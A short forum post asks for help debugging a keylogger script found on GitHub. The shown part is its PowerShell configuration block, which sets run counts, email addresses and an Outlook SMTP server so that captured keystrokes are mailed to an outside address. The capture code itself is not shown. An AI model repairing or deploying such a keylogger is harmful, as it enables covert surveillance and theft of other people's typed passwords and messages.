Repeating Script problem

Hello guys,

I found a cool keylogger script on github that I decided to check out. It’s all working except for the amount of times it should repeat ($TimesToRun). I have spend most of my day today trying to figure out what the problem was and fixing it but with no luck so far. I also tried rewrite the script. One thing I tried is looping the script in various ways [ for ($i=1; $i -le 5; $i++) etc…] but it still wouldn’t work. It just closes after the first time period or a new .txt file isn’t created so I get a error. Here is the script, maybe someone can help me find the problem:

# Edit only this section!
$TimesToRun = 2
$RunTimeP = 1
$From = "USER1@mail.com"
$To = "USER2@mail.com"
$Subject = "Keylogger Results"
$body = "Keylogger Results"
$SMTPServer = "smtp.outlook.com"
$SMTPPort = "587"
$credentials = Get-Credential

$TimeStart = Get-Date
$TimeEnd = $timeStart.addminutes($RunTimeP)
